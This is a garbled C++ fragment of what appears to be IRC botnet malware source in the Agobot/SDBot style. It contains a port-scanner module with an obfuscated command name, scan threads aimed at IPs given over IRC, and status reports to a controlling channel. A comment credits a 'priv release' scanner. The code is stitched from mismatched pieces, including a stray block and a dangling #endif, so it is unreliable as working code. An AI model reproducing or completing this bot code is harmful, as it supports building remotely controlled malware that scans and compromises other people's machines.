#include "main.h"
#include "mainctrl.h"
#include "sdcompat.h"
#include "rthread.h"

// skyz port scanner from his priv release ;p
// thx ;)

void CPortScan::Init() {
	g_cMainCtrl.m_cCommands.RegisterCommand(&m_cmdPortScan,		dp(16,19,3,1,14,0).CStr(),			this); 
}

				scans sscan;
				sscan.addy.S_un.S_addr = inet_addr(a[s+1]);
				sscan.port = atoi(a[s+2]);
				sscan.delay = atoi(a[s+3]);
				sscan.sock = sock;
				sscan.notice = notice;
				strncpy(sscan.chan,  a[2], sizeof(sscan.chan)-1);
				sprintf(sendbuf, "scan (%s:%d)", inet_ntoa(sscan.addy), sscan.port);
				sscan.threadnum = addthread(sendbuf);
				if (!silent) {
					sprintf(sendbuf, "[PortScan] started: .%s.:.%d. (.Delay.): %dms\r\n", inet_ntoa(sscan.addy), sscan.port, sscan.delay);
					irc_privmsg(sock, a[2], sendbuf, notice);
				}
				threads[sscan.threadnum] = CreateThread(NULL, 0, &ip_scan, (void *)&sscan, 0, &id);
				while(1) {
					if (sscan.gotinfo == TRUE) break;
					Sleep(50);
				}
			}
			#endif

			bool CAdvScan::HandleCommand(CMessage *pMsg)
{
	DWORD id=0;
	char sendbuf[IRCLINE];
	int i;

	// Current IP
	if(!pMsg->sCmd.Compare(m_cmdCurIP.sName.Str())) 
	{
		if (findthreadid(SCAN_THREAD) > 0) 
		{
			IN_ADDR in;
			in.s_addr = advinfo[findthreadnum(SCAN_THREAD)].ip;
			g_cMainCtrl.m_cIRC.SendFormat(pMsg->bSilent, pMsg->bNotice, pMsg->sDest.Str(), "scan: cip (%s)", inet_ntoa(in));
		} else {
			g_cMainCtrl.m_cIRC.SendMsg(pMsg->bSilent, pMsg->bNotice, "scan: not started", pMsg->sDest.Str());
		}
		return true;
	};

		return false;
};